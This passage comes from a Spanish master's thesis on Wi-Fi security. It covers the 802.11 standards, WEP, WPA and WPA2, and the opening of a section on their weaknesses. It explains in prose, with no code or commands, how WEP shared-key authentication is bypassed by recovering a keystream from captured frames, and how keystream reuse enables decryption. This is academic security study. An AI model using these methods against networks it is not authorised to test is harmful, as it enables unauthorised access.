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Resumen

El proposito general de este proyecto es analizar los diferentes protocolos de
seguridad asi como las metodologias que utilizan para comunicarse en el medio
inaldmbrico, hoy en dia en continua expansion, proporcionando una investigacion a

fondo de las vulnerabilidades que presentan y los mecanismos de ataques utilizados.

Se ha realizado un examen tedrico en profundidad sobre el funcionamiento y
las vulnerabilidades que presentan los tres protocolos de seguridad que hay en el
mercado: WEP, WPA y WPA2. Las pruebas con las herramientas de auditoria, bien de
la distribucion Wifislax u ofrecidas por usuarios de Internet, han brindado ataques que
permiten una aproximacion de las necesidades actuales en este &mbito, ademas de la

creacion de nuevos protocolos con mayor seguridad.

Gracias a este trabajo se ha podido verificar el nivel de seguridad que
actualmente tenemos en el estdndar IEEE 802.11. Las conclusiones obtenidas
sefialan que los usuarios que utilizan dicha tecnologia, estdn expuestos a un nivel

bastante alto de riesgos, pudiendo sufrir las consecuencias de cualquier ataque.

Palabras Clave: Seguridad de red, seguridad inalambrica, protocolos, ataques.
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Abstract

The overall objetive of this document is to analyze the different security
protocols and methodologies they use to communicate on the wireless medium,
nowadays constantly expanding, making a thorough study of vulnerabilities and

methods of attack.

We performed a theoretical analysis in depth on the operation and
vulnerabilities that present the three security protocols on the market: WEP, WPA and
WPAZ2. Tests with auditing tools either the Wifislax distribution or offered by Internet
users, have given attacks that allow an approximation of the current needs in this area,

and the creation of new protocols with greater security.

Thanks to this work has been able to verify the level of security we currently
have on the IEEE 802.11 standard. The conclusions point to the high risk that users

who use this technology are exposed.

Keywords: Wireless Network, Wireless Security, protocols, attacks
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1. Introduccion

Actualmente las tecnologias de la informacién estan cambiando a un ritmo
continuo y vertiginoso, lo cual obliga a que la seguridad de las redes sea un objetivo
primordial con el fin de proteger la integridad de los datos y garantizar la buena
comunicacion entre los sistemas. Las ventajas que proporcionan las redes
inaldmbricas entre otras, de tiempo y facil instalacion, han hecho que este objetivo de
seguridad se vea trasladado desde las redes cableadas.

La continua innovacion tecnoldgica que traen los sistemas de redes y
telecomunicaciones hacen que la comunicacion inaldmbrica evolucione rapidamente.

Lo que se pretende en este trabajo es demostrar que los protocolos de
seguridad de las redes inaldmbricas que se utilizan hoy en dia como son WEP, WPA y
WPA2 son vulnerables a distintos tipos de ataques realizados con herramientas; y
presentan numerosos riesgos que prohiben garantizar las dimensiones basicas de la
informacion (confidencialidad, integridad, disponibilidad).

Inicialmente se estudia con un enfoque general los mecanismos de seguridad
utilizados, en el nivel de enlace légico de datos de las redes Wi-Fi (Fidelidad
Inaldmbrica). Incluyen también al resto de especificaciones de la norma IEEE 802.11.
Para ello, desarrollaremos también las debilidades que presentan los protocolos de
seguridad en cuanto a los mecanismos de autenticacion y de cifrado. Por ultimo,
pondremos a prueba los protocolos con la ejecucion de diferentes herramientas que
nos proporcionaran distintos tipos de ataques segun sean las condiciones del
escenario propuesto.

Las conclusiones obtenidas son altamente alarmantes. Considero que la
sociedad no es consciente de la inseguridad que presentan hoy en dia los sistemas
que facilitan su vida dia tras dia. El estudio realizado en este trabajo garantiza la
inseguridad mostrando el gran numero de vulnerabilidades que presentan los
protocolos encargados de la comunicacion de dichos sistemas. Se deben tomar
nuevas medidas de seguridad y nuevos disefios de cifrado y autenticacion en lo que

respecta a la redes inalambricas.
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1.1 Justificacion

Dada la importancia que actualmente tienen las redes inaldmbricas en todo tipo
de organizaciones, se pretende que este trabajo sirva como medio de consulta para
saber como no se deben disefiar e implementar la seguridad de los lenguajes que
vigilan la conexién entre los sistemas y, en caso de hacerlo, los posibles riesgos y
amenazas que conllevan. Para describir el problema a tratar, sus causas y relevancia
lo divido en tres entornos claramente diferenciadores.

En el entorno empresarial, las organizaciones y los administradores
encargados de la seguridad de los sistemas sélo perciben las vulnerabilidades y los
atagues de una manera superficial; asi como la instalacion de firewalls o cualquier otro
dispositivo de seguridad perimetral; pero no entienden ni conocen cual es el motivo de
esos problemas. En ese sentido, este proyecto les ayudara no sélo a resolver esos
problemas sino a tener una vision global del modelo OSI y de los mecanismos de
funcionamiento de los protocolos de seguridad; consiguiendo asi resolver e investigar
futuras vulnerabilidades en las redes inalambricas.

Desde el ambito econémico, el trabajo se puede tratar como una medicién de la
repercusion econdémica que una empresa podria tener en caso de la pérdida de la
informacion; ya que no se dan cuenta de lo que tienen hasta que lo pierden.

Es verdad que las empresas grandes cada vez invierten mas dinero los
sistemas de informacion, tanto en el disefio como en la implementacién. Todo ello,
con el objetivo de garantizar la integridad y confidencialidad de su informacién. Por
otro lado, los ataques a las redes cada vez se proliferan y se perfeccionan aiun mas;
obligando a las empresas a gastar en sistemas para prevenir dichos ataques,
instalacion de antivirus y parches de actualizacion. De todos modos, ese gasto
economico que las empresas dedican es totalmente insignificante con el valor que
tendria la pérdida del recurso mas importante de la empresa, la informacion.

En el ambito social, desde hace siglos la informacién y los datos estan entre
nosotros, su intercambio entre unos y otros la hacen verdaderamente valiosa, de ahi
que se intente preservar su confidencialidad. Si que es verdad que se han producido
unas mejoras enormes y un avance abismal en cuanto al acceso y disponibilidad de la
informacion. Todo ello debido a los avances tecnologicos.

Siempre se ha comentado que la informacién es poder, y esto trae consigo el
deseo de muchos atacantes, buenos y no tan buenos, de querer apoderarse de ella.
De ahi que sea primordial asegurar toda esta informacion, desde su transicion hasta

su almacenamiento.
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Se puede acabar con verdaderos problemas sociales en caso de que no se
manipule de manera correcta la informacién perteneciente a organizaciones o
individuos, violando la LOPD (Ley Oficial de Proteccion de Datos) como vemos
dltimamente en la televisién o incluso haciendo competencia desleal por un posible

plagio.

1.2 Planteamiento del trabajo

Actualmente, la seguridad de las redes Wi-Fi es primordial para el buen
funcionamiento en la transicion de datos, ya que con ella se garantiza la
confidencialidad, la estabilidad, y la convergencia de datos sobre un mismo medio. La
mala eleccion o disefio de los protocolos destinados a la proteccion de los datos en las
redes Wi-Fi pueden originar verdaderos dafios en la integridad de los datos, lo cual es
vital para para todas las organizaciones y personas que hagan uso de los distintos
sistemas d informacion.

Para resolver el gran problema al que nos enfrentamos, en este trabajo se
aporta un estudio empirico de las vulnerabilidades que presentan los distintos
protocolos, estudiando a fondo sus caracteristicas y poniéndolos a prueba con los
distintos ataques que nos proporcionan las herramientas.

El pasar por alto el desgranado de este estudio y los ataques aqui presentes,
pueden ocasionar que la informacion acabe en manos de personas no autorizadas
para ello y sus posteriores repercusiones negativas. En la actualidad no hay ningun
sistema totalmente seguro, pero si que se pueden tomar medidas que permiten
prevenirlos o mitigar los ataques a los sistemas de informacién para asegurarlos lo
maximo posible.

Se origina entonces la necesidad de estudiar a fondo estos protocolos e
identificar las vulnerabilidades que presentan actualmente para asi saber a qué
ataques estédn expuestos sus sistemas de informacion. Se tratar4d de aportar una
ayuda en la eleccion del protocolo con el fin de que sea lo més seguro posible y nos
aporte mayores garantias de seguridad. Sin obviar el avance de conocimiento que

traera consigo la lectura del presente documento.
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1.3 Estructura de la memoria

El presente trabajo intenta desarrollar de manera clara y concisa todo el
planteamiento tedrico y practico especificado en los siguientes capitulos:

> Contexto y estado del arte: se realiza un estudio previo referencial de
todos los implicantes directos en esta tecnologia, se pretende dar un resumen
en materia de seguridad Wi-Fi. Mas detalladamente, en este capitulo se
especifica: una pequefa introduccién a las redes Wi-Fi, los conceptos basicos
de su seguridad, el estudio en profundidad del estandar IEEE 802.11, mas
concretamente de las normas a, b, g, h y n; terminando con el desarrollo de las
principales debilidades como son la autenticidad, el cifrado Vernam, la

integridad y el algoritmo RC4.

> Objetivos concretos y metodologia de protocolos: en él, se concretan los
objetivos generales que se desean plantear y evaluar, compuestos a su vez
por un conglomerado de objetivos especificos a cumplir. El progreso de la
metodologia nos indicara con brevedad como se ha llevado a cabo el desarrollo
del presente documento. Trataremos aqui las técnicas de ataque segun

protocolo y las herramientas utilizadas.

> Desarrollo especifico de la contribucion: en esta parte del trabajo, dado
gue los tres principales protocolos encargados de la seguridad de las
comunicaciones Wi-Fi son WEP, WPA y WPA2, les muestro por separado un
desarrollo consistente en una definicion de ellos, el estudio del mecanismo de
autenticacion y del cifrado. Ademas, para todos ellos se realiza una bateria de
ataques con diferentes herramientas proporcionadas por la distribucion

Wifislax, demostrando asi, que no son tan seguro como deberia ser.

> Conclusiones y trabajo futuro: en este capitulo, en funcion a los datos
obtenidos de los dos capitulos anteriores, se pretende realizar un resumen de
los objetivos trabajados y evaluados. Todo el estudio desarrollado en este
documento debe servir para ayudar al estado de arte actual y como punto de
salida para futuras investigaciones en el sector de la seguridad Wi-Fi. Las
tecnologias seguirdn avanzando, y se deben realizar nuevas mejoras y
contemplar disefios nuevos en los protocolos de seguridad para paliar el gran
problema que conlleva su no tratamiento.
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2. Contexto y estado del arte

2.1 Introduccion aredes Wi-Fi

En el afio 1979, los ingenieros de IBM en Suiza realizaron unos experimentos
gue demostraron que podia desplegarse una red de area local mediante enlaces de
infrarrojos. En 1985, las bandas comprendidas entre los 902 - 928 MHz y los 2400 -
2483 MHz y la investigacion sobre redes locales inaldmbricas, posibilitaron el

desarrollo de productos comerciales, que afios mas tarde salieron al mercado.

De esta manera, a principios de los noventa, ya se establecieron dispositivos
con estas caracteristicas en las ciudades, entre ellos los comercializados bajo la
marca Wavelan, que estan considerados los precursores de la actual Wi-Fi. Sin
embargo, la mayoria eran incompatibles y no tuvieron mucho éxito. Debido a esto, se
formé el grupo de trabajo 802.11 para elaborar un estandar que solucionase el
problema anterior. En el afio 1994 las velocidades de transmision establecidas no
superaban los 2 Mbps y los productos del estandar tampoco tienen mucha aceptaciéon

por el publico.

La finalidad de la norma 802.11es interconectar de forma inalambrica a
estaciones de trabajo, a equipos y a sistemas, que facilitase el desplazamiento de los
clientes por las zonas en las que estuviera disponible esta tecnologia sin necesidad de

cables. Ademas proporciona acceso a las redes cableadas (LAN).

En el afio 1999, surge 802.11b, donde se definen nuevas técnicas mediante las
gue se alcanzan los 11 Mbps e intenté promocionar esta tecnologia y fomentar la
interoperabilidad de los productos de este tipo. Posteriormente paso6 a llamarse Wi-Fi

Alliance.

Desde entonces, dicha tecnologia ha tenido un avance imparable en el
mercado, dominandolo practicamente entero; a pesar de que existan otras tecnologias

con mayor rendimiento, como es el caso de HiperLAN.

Hoy en dia, la mayoria de las redes Wi-Fi permiten transmitir a 54 Mbps, pero
usando las nuevas caracteristicas incluidas en la enmienda 802.11n, que ha sido
ratificada hace pocos afos, es posible alcanzar los 600 Mbps. La distancia maxima a
la que puede ser decodificada la sefial depende de muchos factores pero, en general,

supera los 30 metros en interiores y los 100 metros en exteriores, aunque las

11
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estaciones que implementan la capa fisica basada en la enmienda 802.11n pueden

aumentar en mas del doble esa distancia en determinados entornos.

El estandar 802.11 [1] es muy amplio y plantea mas de un objetivo tecnoldgico

constituido por grupos gue tienen objetivos distintos.

2.2 Conceptos béasicos sobre la seguridad Wi-Fi

La principal diferencia que existe entre las redes Wi-Fi (inalambricas, WLAN) y
las redes cableadas (LAN) es la transmisidn a través del medio inalambrico, es decir,
el aire. En primer lugar, los limites de una red inalambrica no se pueden precisar y no
pueden ser facilmente delimitados. Evidentemente, estas redes son menos fiables y
seguras que las soportadas mediante cables, ya que la trayectoria de propagacién de
la sefial normalmente es variable, asimétrica y no esté restringida a un area de acceso
particular. Igualmente, es muy dificil impedir su interceptacién o interferencia por

dispositivos externos.

Ademas, la topologia de la red [3] puede ser dindmica y la conectividad entre
las estaciones puede ser incompleta, como suele ocurrir con los moéviles o cuando
estan dispersos por regiones extensas. Teniendo en cuenta estas caracteristicas
peculiares, se disefid una arquitectura genérica que diese soporte a las capacidades y
funciones exigidas a estas redes. Paso a detallar las caracteristicas mas importantes

de la arquitectura.

Los nodos que forman una WLAN fundamentada en el estandar 802.11 se
llaman estaciones y, aparte de implementar las entidades de red del nivel fisico y del
nivel de enlace de datos conforme al estandar, se caracterizan por tener una direccion
en la subcapa MAC. Esta direccion MAC tendria que ser Unica en cada red Wi-Fi y
podria permitir la comunicacién entre las entidades del nivel de enlace. Un conjunto de

estaciones pueden interconectarse de dos maneras diferentes:

- Como una red en modo Ad hoc [4], en tal caso forman una LAN independiente
denominada IBSS (Conjunto de Servicios Basicos Independientes), en la que todas las

estaciones se comunican directamente con otras estaciones.

- Como una red en modo Infraestructura, en la que existe una estacion
diferenciada que se denomina punto de acceso y que, generalmente, participa en la

comunicacion entre un grupo de estaciones.

Desarrollo tedrico y empirico de la seguridad en redes Wi-Fi

12



José Javier Navas Carrasco Master Universitario en Seguridad Informatica

Las estaciones de una red en modo infraestructura que estan vinculadas al
mismo punto de acceso colaboran para transmitir a través del medio inalambrico y
forman parte de lo que se llama un BSS (Basic Service Set), que se relaciona
normalmente con el concepto de celda en una red inaldmbrica. De igual forma, una red
en modo Infraestructura también puede estar compuesta por varios BSSs
interconectados a través de un sistema de distribucién, y en tal caso recibe el nombre
de ESS (Extended Service Set).

Las estaciones que pertenecen a diferentes BSSs y al mismo ESS, pueden
direccionarse y comunicarse mutuamente, mediante las entidades correspondientes
de la capa de enlace de datos. Incluso es posible la conexion de LANs, cableadas o
no, con un ESS. En este caso, la conexion se realiza mediante el sistema de
distribucién, a través de unas entidades l6gicas que se llaman portales y que efectian
las oportunas conversiones o adaptaciones entre los protocolos del nivel fisico y de

enlace de datos involucrados.

Mas adelante trataré un poco mas el concepto de los portales. Normalmente,
los puntos de acceso implementan estas entidades y actian como portales entre redes
802.11 y redes Ethernet.

La arquitectura descrita anteriormente se disefié con el objetivo de que los
dispositivos que se ajustan a la misma pudiesen implementar una serie de servicios

especificados en el estandar 802.11.

Con la implementacién de todos estos servicios se pretendia que una red
802.11 aportara funcionalidades similares a la de una red cableada, incluyendo
aspectos como: la conectividad, la seguridad, la interoperabilidad o la itinerancia. Los
servicios, dependiendo de los componentes de la arquitectura a través de los cuales

se implementan, se clasifican en dos categorias:

> Servicios de estacion: estan presentes en cualquier estacion

> Servicios del sistema de distribucion: son provistos por el sistema de

distribucion, incluyendo los puntos de acceso.

A continuacién se enumeran y se describen brevemente los servicios de

estacion:

> Autenticacion: este servicio sirve para validar la identidad de una
estacion y le da permiso con el fin de afiliarse. En una LAN el método que

utiliza para autenticarse es el estar conectado o no a la red mediante cables.

13
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En las redes inaldmbricas no existen cables, no es el medio de transmisién de
los datos. Con lo que para validar la identidad del cliente que se quiera

conectar a la red, hay que autorizarlo primero.

> Desautenticacion: este servicio es el opuesto al anterior y permite

finalizar una autenticacion creada entre dos estaciones, por ejemplo, un punto
de acceso y un cliente, o bien dos estaciones cualesquiera de un IBSS. Es
solicitado por distintas razones, pero lo mas normal es cuando un cliente desea
desconectarse de una red. De todos modos, una estacion puede terminar una

autenticacion establecida con otra estacion cualquiera de forma unilateral.

> Privacidad: no se puede prescindir de este servicio ya que proporciona
confidencialidad a las comunicaciones de una red 802.11. Su implementacion
es opcional y, por lo tanto, se puede obviar este servicio, pero no es nada
aconsejable ya que cualquier dispositivo dentro del alcance de la red y con el
transceptor adecuado puede recuperar los datos transmitidos. La activacion de
la privacidad trae consigo diferentes ventajas como el cifrado de los datos que
se intercambian las estaciones y la comparticion de la clave privada. Se supone
gue sOlo estas estaciones de trabajo deberian ser las Unicas capaces de
descifrar dichos datos, pero mas adelante demostraremos que no. Algunas
veces, las estaciones pertenecientes a un mismo BSS comparten las mismas

claves secretas.

> Entrega de datos: su funcidon principal es realizar un intercambio

confiable de los datos que se intercambian las distintas estaciones de una red.
Este servicio realiza funciones como la fragmentacion, la reordenacion de las
tramas de datos, el control de errores, y el ensamblado de los datos, etc. En las
redes con modo Infraestructura, es necesaria la participacion de otros servicios

para satisfacer este objetivo.

Los servicios del sistema de distribucion, también pueden ser proporcionados por las

redes en modo Infraestructura, que se detallan a continuacion:

> Servicio de Asociacién: se utiliza para vincular una estacién con un punto de

acceso, para que la estacion utilice el sistema de distribucion y las tramas enviadas
por ésta sean dirigidas a su destino. Solo se acepta que una estacion se asigne con
un unico punto de acceso (PA), ya que estableciendo esta restriccion el sistema de
distribucion puede determinar de forma univoca e inmediata el punto de acceso a
través del cual puede enviar una trama a una estacion.

14
Desarrollo tedrico y empirico de la seguridad en redes Wi-Fi



José Javier Navas Carrasco Master Universitario en Seguridad Informatica

WLAN.

> Servicio de Disociacién: es el servicio reciproco de la asociacion y se invoca

con la finalidad de extinguir una asociacion existente, lo cual provoca que una
estacion sea, de forma efectiva, expulsada de una red. Se puede invocar por:

- Un punto de acceso, por ejemplo, cuando deja de estar operativo o se
supera el nimero maximo de asociaciones que soporta

- Por una estacién, por ejemplo, cuando un usuario se desconecta de la red.
También se realiza de forma unilateral, sin que la otra estacion pueda rechazar su

ejecucion; al igual que con la autenticacion.

> Servicio de Reasociacion: se encarga de la transicion entre dos 0 mas puntos

de acceso de una estacién, mas cominmente conocido como itinerancia o “roaming”.
En casi todas las situaciones, este mecanismo se convoca por una mejor recepcion
de la sefial de otro punto de acceso que del mismo ESS y es iniciado por una
estacion. Ademas, mediante este servicio una estacion puede solicitar a un punto de

acceso una modificacion en los atributos de una asociacion que mantiene con éste.

> Servicio de Distribucion: determina si el mensaje es transmitido por el punto

de acceso dentro del propio BSS, o bien si es enviado a otro BSS por medio del
sistema de distribucion. La invocacion a este servicio se debe realizar antes de
enviar una trama de datos. Si es enviado a otro BSS, el sistema de distribucion debe
entregar el mensaje al punto de acceso correspondiente, es decir, al BSS de la
estacion de destino. De todos modos, se intenta evitar cualquier indicacion sobre la

estructura o la implementacion del sistema de distribucion.

> Servicio de Integracion: este servicio se encarga de habilitar el intercambio de

datos entre una red 802.11 y cualquier otro tipo de LAN. Como ya se ha mencionado
anteriormente, este servicio esta formado por unas entidades logicas llamadas
portales. Estas entidades posibilitan la entrada al sistema de distribucién de datos
procedentes de LANs de otros tipos, asi como la salida de los mensajes enviados por
las estaciones 802.11 hacia otras LANs. Por esta razén, los portales deben realizar
las adecuadas adaptaciones como por ejemplo: los tipos de direccionamiento, el

formato de las tramas, la informacién sobre prioridad o la calidad de servicio, etc.

Por ultimo, en la siguiente figura se aprecian los principales aspectos de las redes
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CARACTERISTICA DESCRIPCION
Capa Fisica Direct Sequence Spread Spectrum (DSSS), Fregquency

Hopping Spread Spectrum (FHSS), Orthogonal
Frequency Division Multiplexing (OFDM), Infrarojos (IR).

Banda de Frecuencia

2.4 GHz y 5GHz

Tasa de Transferencia

1 Mbps, 2Mbps, 5.5 Mbps, 11 Mbps, 54 Mbps

Seguridad de Datos y Red

Se basa en el algoritmo de cifrado RC4 para |
confidencialidad, autenticacion e integridad. Se limita por

la administracion de claves.

Rango de Operacion

100 metros

Aspectos Positivos

Se obtiene una velocidad de Ethernet sin usar cables, una
variedad de productos y compafias, los costos estan

disminuyendo.

Aspectos Negativos

Poca seguridad, la tasa de transferencia disminuye con la

distancia y carga.

Figura 1: Caracteristicas principales de las redes inalambricas.

2.3 Estandar 802.11

La BSS es un conjunto de servicios basicos en el estandar IEEE 802.11. En la

siguiente imagen se puede observar el tipo de arquitectura. Las elipses representan la

cobertura de cada BSS. Todas las estaciones (STA) que salgan del radio de cobertura,

perderian evidentemente la conexion son sus estaciones contiguas.

BSS1

& >

802.11 Compaonents

[sTAq)
BSS 2

Figura 2: Estructura béasica 802.11
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Las estaciones de trabajo o nodos se agrupan formando un BSS. Se les llama
redes “ad hoc” aquellas redes que no estan centralizadas.

El concepto de sistema de distribucion (DS) surge por motivos claramente
definidos, pero podriamos destacar entre todos ellos, la poca amplitud que ofrece una
BSS. Si entran en conexion varios BSS, El DS puede ampliar su radio de accion.

Los puntos de acceso se instalan uno por cada BSS y se pueden conectar de
forma inaldmbrica o con cables. Un conjunto de BSS forman un conjunto de servicios
extendidos (ESS). En la siguiente figura se observa todos los componentes

nombrados.

Distribution System

ESS

Figura 3: Grafico del mecanismo de distribucion

Esta tipologia de redes pueden conectarse con redes LAN. Para conseguir este
objetivo, se utilizan los portales, los cuales permiten la conexién entre las dos
arquitecturas. Es decir, soportaria la conexion de redes del estandar 802.11 y del

802.X. En la siguiente imagen se visualiza lo descrito en este apartado.

BSS 1 802,11 Components

Figura 4: Interconexion del estandar 802.x
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2.3.1 Estandar 802.11b

En el afio 1999, se aprobaron dos nuevos estandares denominados 802.11a y
802.11b, respectivamente, de manera que cada una de éstas introducia una nueva
capa fisica. Esta capa trabajaba en la misma banda, con los mismos canales y las
mismas restricciones sobre los canales y sobre el espectro de la sefial transmitida que

la capa fundamentada en DSSS.

La norma 802.11b es empleada para las conexiones punto-multipunto. En ella,
el punto de acceso se conecta con los clientes dentro del radio de cobertura.
Localizaciones interiores a 30 metros pueden tener una velocidad de 11 Mbps y a 90

metros con 1 Mps.

El protocolo también emplea antenas de alta ganancia externas cuando las

distancias son mayores (sobre 100 Km).

Los desarrolladores e ingenieros deben cumplir las regulaciones exigidas
referentes a la potencia efectiva irradiada, ya que estas ondas pueden llegar a ser
perjudiciales para la salud. Como consecuencia, un dispositivo inalambrico que emita
sefal podria originar verdaderos inconvenientes para la salud. Pero la realidad es bien
distinta, ya que la potencia transmitida es bastante inferior (100 mW maximo) y no
tiene efectos nocivos. Por ejemplo, el microondas en funcionamiento tiene mayor
influencia y un terminal mévil GSM también transmite con mas potencia e incluso se

tiene mucho mas cerca del cuerpo.

Los productos del estdndar 802.11 solo emiten en caso de transferencia de

informacion.

Hoy en dia todos podemos instalar y configurar una red inalambrica en casa o
en el trabajo. Es facil y rapido debido al descenso de precio que conlleva su
aceptacién e implantacién. Ejemplos de producto que soporten el estandar 802.11 b/g

son:

Marca: PCMCIA Conceptronic.

Modos: ad-hoc, infraestructura, monitor
Alcance/\elocidad: 0-120m 1-54Mbps

Estandar: 802.11b (11Mbps) y 802.11G (54Mbps)
Frecuencia: 2,40 y 2 48 GHz

Seguridad: WEP (codificacion) 64-128-152 bit, WPA

Desarrollo tedrico y empirico de la seguridad en redes Wi-Fi
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Marca: AP Conceptronic
Interfaz:10/100Base-T

Velocidad: hasta 54 Mbps
Frecuencia: 2.40 y 2.48 GHz
Canales: hastal3 subcanales diferentes

Memoria: Flash EEPROM ampliable para nuevas

funciones.

Distancia maxima: 30-60 metros en edificios.
Seguridad: Soporta 64, 128 y 152 WEP SSID,
MAC \WPA psk.

Tabla 1: Dispositivos compatibles con las variantes b/g

2.3.2 Estandar 802.11g

El estandar 802.11g se publicé en 2003. Sus caracteristicas son:
- Es compatible con el estandar “b” (utiliza las mismas frecuencias).

- Mejora el ancho de banda, aportando un descenso de consumo y mayor

alcance que 802.11a.

- Emplea la banda de 2.4 Ghz y trabaja a una velocidad real de transferencia
parecida al 802.112.

- En los nodos del estandar 802.11g, la velocidad de transmision se ve muy

reducida.

- Los sistemas del 802.11g aparecieron en el mercado muy rapido, ya que los

equipos bajo el estandar 802.11b podian adaptarse a los de la nueva norma “g”.

- Al funcionar bajo la misma frecuencia, el estandar 802.11g sigue teniendo los

mismos problemas de interferencias que tiene la “b”.

Ejemplos de producto que soporten el estandar 802.11 g son:
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-

Especificaciones Compatible IEEE802.11b vy
11g

Frecuencia: 2.4 GHz

Multi-Funcion: Modo Punto de Acceso, Modo
wWDSs

Velocidad hasta 54Mbps

Configuracion via WEB

Cifrado WEP de 64 y 128 bits, y WPA
Antena doble desmontable conector SMA
reverse

Potencia de transmision 12dBm en 802.11g y
15dBm en 802.11b

Conexion: PCI

Velocidad: 54 Mbps
Compatibilidad: 802.11b /802.11g
Seguridad: WPA / WEP

Sistemas operativos: Windows
98SE/ME2000/XP

Tabla 2: Rater inalambrico y Tarjeta de red Wi-Fi compatibles con la norma g

2.3.3 Estandar 802.11h

Las caracteristicas principales del estandar 802.11h son:

- Cumplir los requisitos para soportar la banda de 5 Ghz

- Obligatorio que los mismos dispositivos gestionen la potencia de transferencia

- Por defecto, la potencia sera configurada al valor minimo para llegar al

usuario mas lejano.

En las tiendas hay dispositivos de éste estandar:
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Factor de forma: Externo

Tipo de dispositivo: Punto de acceso
inalambrico

Tecnologia de conectividad: Inalambrico
Velocidad de transferencia de datos: 54 Mbps
Protocolo de interconexion de datos: IEEE
802.11b, IEEE 802.11a, IEEE 802.11g
Meétodo de espectro expandido: OFDM, DSS5
e Algoritmo de cifrado: AES, WEP de 128 bits,
WEP de 40 bits, TKIP, WPA

Cumplimiento de normas: |IEEE 802.11, IEEE
802.11b, IEEE 802.11a, IEEE 802.3af,

IEEE 802.11g, IEEE 802.11i, IEEE 802.11h

Tabla 3: Punto de acceso inalambrico

2.3.4 Estandar 802.11n

En el 2009 [7], se publicé La ultima capa fisica especificada por el grupo de
trabajo 802.11, se llamé High Troughput. Dicho estandar supuso un salto cualitativo y
cuantitativo respecto a las velocidades de conexién de las anteriores capas fisicas.
Adicionalmente, proporcioné una cobertura mas homogénea e incrementd el area
cubierta. Ademas, se incluyd un modo de compatibilidad que posibilitaba la

transmision con las técnicas introducidas en las normas 802.11ay 802.11.

No se realizaron muchos cambios respecto a las modulaciones y las
codificaciones, pero si se aument6 en cuatro el nimero de portadoras de datos y, de
forma opcional, podia doblarse el ancho de banda utilizado (en total, 40 MHz). La
nueva tasa de codificacion convencional se utilizd, para las velocidades de conexion

mas altas.

De todos modos, las principales distinciones de la capa 802.11n con respecto a
las anteriores residian en las nuevas técnicas de procesamiento de la sefial, debido a
la tecnologia MIMO (mdultiples entradas y multiples salidas). Esta tecnologia hizo
posible la transmision o la recepcion de multiples sefiales simultaneamente, por medio

de dos 0 més antenas con sus propios transceptores.
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La tecnologia MIMO se denomina SDM (Spatial Diversity Multiplexing), o
multiplexor espacial, y consiste en la transmision en paralelo de mdultiples sefiales,
emitidas por distintas antenas y por el mismo canal y, que pueden ser recibidas por

medio de varias antenas en el receptor.

Todas estas sefiales transmiten datos independientes y recibe el nombre de
spatial stream, de manera que el estdndar establece que los puntos de accesos
compatibles deben soportar la transmision de al menos dos streams y hasta un
méximo de cuatro, por lo que podria llegar a cuadriplicarse la tasa de datos.

La introduccion de todas estas variantes de ancho de banda utilizado:
modulaciones, tasas de codificacion, intervalos de guarda y streams espaciales; hacen
que las especificaciones posibilitan mas de 300 velocidades de conexion distintas,
aparte de las exigidas por compatibilidad con las estaciones 802.11a/g.

Pero sin embargo, sélo se requiere que 16 de éstas sean soportadas por los
puntos de acceso y 8 por las demas estaciones. Si se dan las condiciones apropiadas,
un punto de acceso, que incorpore las mejores opciones posibles de los parametros

enumerados, podria transmitir una trama de datos a 600 Mbps.

Cabe destacar que el estdndar 802.11n [6] especifica nuevas caracteristicas de
la subcapa MAC con el fin de incrementar el rendimiento, como un intervalo de espera
reducido (RIFS) entre las transmisiones de tramas por la misma estaciéon, como la
agregacion de tramas o de la carga util de las tramas (A-MPDU o A-MSDU,
respectivamente), en vez de la confirmacién individual. Anterior a la aprobacién de la

norma, salieron al mercado bastantes dispositivos 802.11n.

En la actualidad, casi todos los dispositivos Wi-Fi, se adhieren a la norma
802.11n, de modo que se espera que reemplacen a los dispositivos 802.11a/b/g que

contintan hoy en dia en produccion.

2.4 Principales debilidades en la seguridad

En los siguientes apartados se describen algunas de las debilidades mas
relevantes que se han descubierto en los mecanismos de seguridad declarados en el
estandar 802.11. Excluyendo la autenticacion de sistema abierto, todos los demas

estan vinculados con el protocolo de seguridad WEP. También se nombraran ciertos
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ataques bastante conocidos que aprovechan estas debilidades y se discutiran sus
fundamentos. Para limitar la extensiébn de este trabajo fin de master no se
desarrollaran conceptos como los algoritmos, la demostracion formal o la justificacion,
o todas las condiciones que deben satisfacerse para que puedan llevarse a cabo
dichos ataques.

2.4.1 Autenticacion

La autenticacion de sistema abierto est4d fundamentada en una peticion
realizada por la estacion que solicita ser autenticada y la respuesta de la estacion
autenticadora. Dicha respuesta sera normalmente positiva pero también podria ser
rechazada por causas ajenas a las credenciales de la estacién que la solicita. Por el
contrario, la autenticacibn mediante clave compartida requiere la ejecucién de un
proceso en el que se intenta comprobar que la estacién que solicita la autenticacién
posee una clave secreta que comparte con el punto de acceso o con otras estaciones

de un IBSS. Suele ser sencillo pero muy inseguro.

No tuvo que pasar mucho tiempo para que se manifestase la debilidad del
proceso de autenticaciéon mediante clave compartida y se hizo publico un ataque que
superaba esta proteccion prescindiendo de la clave. Para que el ataque se realice
correctamente, el atacante debe capturar las tramas segunda y tercera de una
instancia de este proceso de autenticacion que haya finalizado con éxito, y, con ello,
serd capaz de responder correctamente a un desafio propuesto por la estacion

autenticadora.

En este caso, el atacante puede recuperar el keystream con el que se encriptd
la tercera trama enviada durante una autenticacion legitima, ya que de la segunda
trama tiene el texto en claro. A partir de entonces, reutiliza éste keystream para cifrar

el mensaje con el que la estacion autenticadora lo cuestiona.

2.4.2 Cifrado Vernam

El cifrado Vernam [8] esta fundamentado en la aplicacién de la operacion XOR
entre cada byte del texto en claro y su correspondiente byte de la secuencia de cifrado

(la denominada keystream). Debido a las cualidades de esta operacion, si se aplica
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dos veces seguidas este cifrado sobre cualquier dato usando el mismo keystream,
ambas operaciones de cifrado se cancelan, obteniéndose de nuevo los datos
originales. Como consecuencia, si recuperamos un keystream de determinada longitud
y su IV asociado, seremos capaces de descifrar la misma cantidad de datos que han
sido cifrados con el mismo keystream. Ademds, cualquier keystream valido nos

permite cifrar datos arbitrarios con una longitud similar.

Las dos situaciones son claros ejemplos de ataques de reutilizacién del
keystream, los cuales suponen la principal amenaza para esta clase de cifrado.
Ademas, el protocolo WEP no tiene protecciones efectivas contra dichos ataques. De
todos modos, es posible obtener de forma directa un fragmento de keystream
realizando la operacion xor entre ciertos datos cifrados, que podemos extraer de una

trama 802.11 protegida con WEP, y los correspondientes datos en claro.

En la mayoria de redes Wi-Fi se supone que la carga util de una trama 802.11
de datos empieza con una cabecera LLC/SNAP, que precede a un paquete ARP o0 a
un paquete IP. Distinguiendo ambos casos (por ejemplo, por medio del tamafio de la
trama capturada), es probable deducir el valor de 8 a 16 bytes iniciales de los datos en

